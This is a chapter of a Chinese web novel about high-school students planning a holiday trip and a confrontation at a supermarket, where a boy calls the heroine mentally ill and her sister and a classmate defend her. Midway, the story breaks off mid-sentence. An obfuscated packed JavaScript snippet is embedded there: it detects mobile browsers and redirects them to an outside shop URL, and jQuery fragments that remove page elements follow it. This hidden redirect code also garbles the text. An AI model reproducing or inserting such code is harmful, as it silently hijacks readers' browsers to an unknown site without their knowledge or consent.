郭千磊默默掬把辛酸泪,等苦夏坐下,明知故问:“夏夏,你带手机了吗?”
苦夏摇头。
“那可真是太可惜了。”郭千磊一脸遗憾,等到苦夏疑惑,啧啧啧啧地拖长音,“夏夏啊,你是没看到,咱班群里有个花孔雀,刚换了身新衣服,恨不得所有人都看到,为此不惜冒着被赵妈毒打三十大卷的风险。”
苦夏诧异。
班级群里怎么会有孔雀?
郭千磊还想说啥,被某道目光凉凉一瞥,立马怂怂地转移话题:“夏夏,国庆有事儿吗?咱环球去啊,带上柠檬和涵姐,公主房里住一晚,吃住我全包。”
苦夏正想拒绝,想起柠檬听到幼儿园其他小朋友都是爸爸妈妈带着去玩、而她只有阿姨陪着的羡慕目光。
沉默一瞬,点点头:“谢谢,不用你包,我们自己可以。”
裴祈也一直低垂仿佛在心无旁骛做题的手,慢了下来,停滞的笔尖下,是实则许久未动从苦夏进门后就早已飘到她身上的隐秘心思。
无人看到的角落,疯长的爬山虎葳蕤缠绕上潮湿的青苔,绚烂的深红流淌着秋的气息,缓慢而无声地勾出裴祈也这一瞬抑制不住上扬的眉眼。
放假前一天,班长组织大家去赵一盈家看望刚出生的小宝宝。
生命在于静止·一运动就趴菜的霸总郭坐在轮椅上,最近爱上了连路都不用走的感觉,指着自己青黑的眼圈控诉:“班班,你没有心,看到哥的黑眼圈了吗?这都是赵妈的一毛钱换的啊,我连熬了几个小通宵才把欠的卷子都做完。现在去见赵妈,你说她会不会再送我们几个玩手机的一人一份假期大礼包?”
班长是个文气的男孩子,充分体现了「强势的妈,消失的爸,懦弱的他」剧本照进现实,脾气好得让人心疼,就连当班长,都是因为火箭班里没一个人愿意揽这些苦差事才落到他头上。
闻言为难:“那怎么办呀,我和赵妈改个时间?你们什么时候去环球?回来后再去看她。”
“后天回后天回,到时候正好假期倒计时,黑心阎王也不忍心再布置作业。”轮椅霸总的心早飞到了影城,今天出门甚至没背书包,带的行李箱,说完丝滑地从轮椅上下来,无缝衔接坐到行李箱上,多走一步路都算他运动超标。
堪称医学奇迹的一系列操作看得路过的狗都一愣一愣。
孙宥谦急吼吼地把最后两张卷子塞进书包里,往身上一背,差点儿压得一趔趄:“卧槽,三天的作业量加起来比我命都贵,确定只住两天晚上吗?要不三天吧,不然对不起我大老远把作业背过去。”
“哪个煞风景的这会儿在提作业,谁再提我和谁急啊!好不容易有了忘拿作业的借口。”几个学霸一边骂一边又以快过5g的手速飞快往书包里偷塞几张卷子,主打一个「天才从不努力」的风轻云淡人设。
余光却忍不住往后瞄那两位真正的天才,心里哭唧唧:瞧瞧,人家连书包都不拿!
苦夏其实是在犹豫该带哪些卷子。
国庆放假三天,这天下午最后一节课放学后就算开启了假期,一直到3号晚自习返校,不算长,而且现在就要去环球,直接住两晚,算下来只有最后一天有时间写作业。
一向理智得像个机器人的苦夏只会冷静计算投入产出,不会像大多数人那样每次过一天周末都恨不得把所有书都带回去,实际上一本没动,认认真真地计算过自己能写卷子的时间,正要去拿——
眼前忽然落下一道幽暗的影子。
骨节修长,白色衬衫的袖口圈着清冽雾凇的腕骨,轻轻搭在她的书桌上,逆着光影垂落的黑色碎发,映得那双黄昏中的清眸,此刻无端染上了绚丽的浓墨。
望着她,眼尾泪痣勾人:“姐姐,要不要合作一下?”
苦夏:“嗯?”
少年指尖从她书桌前滑过,似是猜中她心思的手准确无误地挑出她原本要拿的几张试卷:“姐姐,别的卷子没什么做的价值,我这有几张其他学校汇总的各科竞赛题,更适合你的难度。”
苦夏眸光微亮,被裴祈也说得心动,但依然有些不解:“你需要我做什么?”
裴祈也目光有一瞬滑开,旋即又更深地朝她望了回去:“只是卷子用完还得还回去,我一人做完太慢,可以请姐姐和我一起做吗?”
像是怕她拒绝,亦或者是想到了更多,“酒店大堂一楼有个咖啡厅,晚上十二点关门,我们白天玩完回去,可以在那做题。”
苦夏只犹豫了一秒,就点点头。
倒是根本没有想到裴祈也担心的俩人晚上独处会对她造成影响,完全是在想柠檬,“等我陪柠檬睡着再下楼可以吗?她晚上九点半上床,睡着后阿涵可以继续陪着她。”
裴祈也点头,将苦夏的卷子收到自己的书包,没再给她任何拒绝的时间。
依然冷冽如平湖的神色下,无人察觉的涟漪层叠轻荡。
苦夏一怔。
想拿回来,想到晚上反正还会再见面,就由他去了。
“出发喽!”轮椅霸总郭滑着自己的拉风新座驾,呼吸着久违的自由,“票和房间我都订好了,想带家属的出去找家属,想回家补物资的回家补物资,一小时后环球门口见,今儿晚上咱们就先夜场走起。”
孙宥谦龇牙咧嘴地背着象征全村人希望的大书包,感觉自己好像是把全村人都背在了身上:“磊子,真的不考虑多住一晚?我负重拉练三千里,就住两晚有点亏。”
有人揶揄:“有钱哥每次组织出去玩比谁都怕耽误写作业,真薅起霸总羊毛又比谁都薅得多,要不是假期有时长限制,我看你是想刷磊总的卡在那住到地老天荒。”
“嘿嘿,这不是没和霸天虎共度良辰美景过。”孙宥谦丝毫不掩饰蹭吃蹭喝的心,“咱这叫劫富济贫。”
郭千磊抬手在他一爆栗:“劫,随你劫,你当爷差那一晚上的钱啊?爷明明差的是一晚上补不完的作业。”
呜呜呜,太难了,他都拥有几辈子都花不完的财富了为什么还要这么努力啊,都怪他这颗太自律的心!
裴祈也和苦夏走在最后。
昨晚收拾东西时已经告诉过翁涵,今天下午放学后她带着行李和柠檬,在京大家属院等着苦夏一起出发。
其他人有的直接去了地铁站,有的则鬼鬼祟祟避开人群,在无人看到的地方大胆地牵着小手,一中标志性的蓝白校服在黄昏里惹眼,难以克制的荷尔蒙中是十七八岁的青春特有的蓬勃。
苦夏从不曾适应过任何校园集体生活的心。
在这一刻,很轻地,动了一下。
没有她想象中的那么难以忍受。
和这么多人一起出行。
也许是因为她像一个暴露脱敏疗法的病人,开始对过去无法容忍极具抗拒的环境一点点提高了忍受值。
亦或者,是因为身边的他。
翁涵和柠檬已经在路边等着,软乎乎的小姑娘背着书包,大眼睛盯着超市门口一个与她年龄差不多大的小女孩手里的玩偶。
那是一个极其普通的娃娃,与傅柳清买的各种质地柔软穿着漂亮裙子的玩偶不同,做工粗糙,形象全然不是摆在橱窗里的洋娃娃那般精致,小女孩却依然玩得爱不释手。
苦夏走上前。
柠檬看到她,大眼睛瞬亮:“姐姐!”
苦夏弯下腰,温柔地将她抱进怀里:“柠檬是不是喜欢那个娃娃?”
柠檬犹豫一瞬,点点头。
不管平时有多聪慧,终究都还只是一个三岁多的小朋友,柠檬软糯糯地眨着眼:“姐姐,我可以问她玩一下吗?”
“玩。”翁大小姐大咧咧地一摆手,“她要是不借,翁姐姐现在就闪购一个,我们的小公主不能受委屈。”
柠檬却摇头,小表情认真:“翁姐姐,没关系,我可以拿我的玩具和她交换,如果她不愿意,我就先玩自己的娃娃。”
说着,从小书包里掏出自己最爱的jellycat小兔子,朝小女孩走去。
小女孩目光瞬间被吸引,下意识想上手,瞥见柠檬瞅着她怀里的娃娃,主动道:“给你玩,你给我玩你的。”
柠檬开心地点点头,刚接过,忽然一股大力猛然从她手中夺走。
突然窜出来的男孩子大概七八岁大,长相和小女孩有些像,一把拽过干净柔软的粉色小兔子猛地朝地上一摔,对妹妹说:“别给她玩,她姐姐有病,别传染给我们。”
一旁坐在超市门口闲聊的大人们脸色骤变,齐刷刷地将目光投向那位不知何时出现,但依然轻而易举点燃整个黯淡暮色的少女。
少女表情平静,干净清冷的长相是被所有人都容易看轻的易碎,却不屈不折如高山峭壁上唯一挣扎破土的新芽,我自岿然。
只是垂在一侧的手,指尖无意识地攥紧,纤薄手背上一道道凸起的血管似流着压抑的燃烧。
裴祈也离得有段距离,并未听清发生了什么,但那双从未离开过苦夏的眼眸,在敏锐察觉她身影几乎是骤然僵硬的同一刻,倏然冷冽。
翁涵脸瞬沉,踩着高筒靴的长腿一脚跨到小男孩面前,皮笑肉不笑地看他:“你说什么?”
“没什么没什么。”超市老板娘赶紧出来,就要去堵自己儿子的嘴,心里慌死了。
天杀的,学啥不好天天偷听他们大人八卦!这片区的人天天在他们家超市买东西,谁家有点啥全都知道,就这对好看得跟明星似的小姐妹,就是她们所有人都喜欢讨论的对象,尤其是姐姐,什么天才少女,什么好像脑子不正常、精神那方面有点问题,什么小时候从来不去学校上课莫名其妙就考上了名牌大学,后来又自己退学了,别说,自从天天拿这姑娘上热搜的事儿下饭后,看自己家不争气的熊孩子都顺眼多了。
超市老板娘一边敷衍地道歉一边拿眼刀子狠狠剐儿子,正想撤。
却在此时。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805560|210702||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
所有人都没有预料到的柠檬忽然跑上前,猛地一推,将比她高出许多的男孩子一下子推倒在地,大眼睛噙着愤怒的火焰:“我姐姐没有病!你和我姐姐道歉!”
小姑娘只有三岁多,粉雕玉琢,可那双黑葡萄似的瞳孔狠狠盯着面前的男孩子和他妈妈时,让人无端想起白昼里的烈日。
竟教人有一瞬不敢直视。
男孩没设防,猛然摔个屁股蹲儿,又嚎又叫,爬起来就要冲上去对柠檬拳打脚踢。
苦夏下意识就把柠檬护在身后。
想象中的熊孩子撒泼却没有到来。
一只冷若冰霜的手紧紧箍住了男孩衣领,将他禁锢在原地,少年个子极高,不曾开口却寒潭凝结的眼眸俯视着这对母子,没说话,任由小男孩儿对他又抓又挠,有如实质的幽厉雾凇弥漫。
与刚刚连自己最爱的玩偶都来不及捡、豁出所有的勇气保护苦夏的柠檬,明明一个似火,一个若冰,眼眸深处涌动的偏执凶狠却惊人的相似。
超市老板娘嗫嚅,没敢看这位突然冒出的气质长相都极为矜贵的少年:“你们想干嘛?是这个小姑娘推我儿子的,我们刚刚可什么都没做。”
苦夏把小兔子捡起来,拍干净,紧紧抱着柠檬:“柠檬,不怕。”
等察觉怀里的小人儿身子不再发抖,这才直起身,冷静到没有丝毫情绪的眼直视着他们:“我会替我妹妹推人向你们道歉,但你们家孩子先抢走她手里的玩具,并且把她玩偶扔地上,也应该和她道歉。”
“凭什么!那娃娃本来就是我妹妹的!”小男孩发现不管他怎么挣扎,那只仿佛从千年阴湿的深渊伸出的手都纹丝不动,只好放弃,“我只是把它拿回来!你们凭什么让我道歉,我没错!”
“就是!”想到小姑娘只是脏了一个小玩偶,她儿子可是整个人都摔在了地上,超市老板娘感觉天晴了雨停了自己又站上风了,脖子一梗,护崽道,“我儿子要摔个三长两短,这事儿咱们没完!”
“哟,怎么个没完?是感谢我们把你家熊孩子嘴里吃的屎都给倒出来了吗?”翁涵冷笑,晃晃手机,“唔好意思啦,我录像了,就你儿子骂人那段,刚好可以送到警察叔叔那里教育一番耶。”
“你吓唬谁呢?”老板娘强装镇定,“我儿子还不到八岁,警察能对他干啥?你少骗我,我可是专门听大律师讲过,没过十四岁都不会负法律责任的。”
“哇哦,您好棒棒哦,连这都知道,只当个超市老板可太屈才了。”翁涵海豹式鼓掌,话落,脸上笑容立马消失,“可是您一看都抵得上两个十八岁了耶,小孩子诽谤不用负责任,您作为向他传播谣言的源头监管人,就蹲几天橘子只怕有点少了吧?”
老板娘这时终于慌了,前段时间的瓜她可是追得一集没落,那位变性网红的下场如何她比谁都清楚,现在要被送进去的瓜主变成她本人,再顾不上好奇那人到底是会被送去男子合唱团还是女子轧包厂,一把拽过儿子的头摁着和柠檬道过歉,就要赶紧走。
那位一直不曾说话,被她儿子抓出血痕都没有动,像把最深最黑的极寒之地锻造的利剑薄刃出鞘的少年,却在此时,抬眸看向了她:“你还欠一个人的道歉。”
该怎么形容那双眼睛。
明明生得极为出众,眼皮薄而淡,甚至连眼尾下那滴深海月光凝结的泪痣都浓墨缱绻,却在对视时教人升不起一丝一毫的其他心思,惟余似海浪逃生的后怕。
老板娘慌忙避开,暗骂自己没出息,竟被一个毛头小子的高中生给唬住了,色厉内荏:“我们都道过歉了,你们还想怎样?!”
“还有她。”少年凉薄至极的眸光在落到苦夏身上时,有一瞬风雪凉亭独坐终于等来归人的温柔,转瞬藏起,漠然俯视对面,“你们还欠她一个道歉。”
从不会越过苦夏擅自替她做任何决定的裴祈也,即使愤怒到心里囚禁的恶龙撕碎深渊也会强行压下的裴祈也,知道苦夏会自己解决所有事情从不需要他人救赎的裴祈也。
在苦夏瞬间怔愣,抬眸看向他以后,才很轻很轻地开口:“姐姐,你把自己给忘了。”
苦夏指尖无意识地再次紧紧攥进了掌心,那双好看而柔软的,却自始至终平静得恍如从未在意过他人恶言的眼睛,在这一瞬,毫无防备地雾气潮湿。
苦夏想说,她没事,真的没事,自想起那段曾被她不堪地埋藏在黑暗假装从未发生过的记忆,她已经可以冷静面对这段无法被湮灭的真实发生过的事实——她的确,曾经被当成过精神病人,关进过世人谈之色变避之不及的精神病院。
不管她,是否真的有病。
可裴祈也就那样安静地看着她,永远淡漠无情的眼眸深处藏满无人察觉的温柔,不容拒绝。
仿佛在说。
即使那些她不在乎的恶言相向都是真的,也不是这世上任何一个人可以肆意拿此侮辱她,不用承担任何后果将她遗忘不道歉的理由。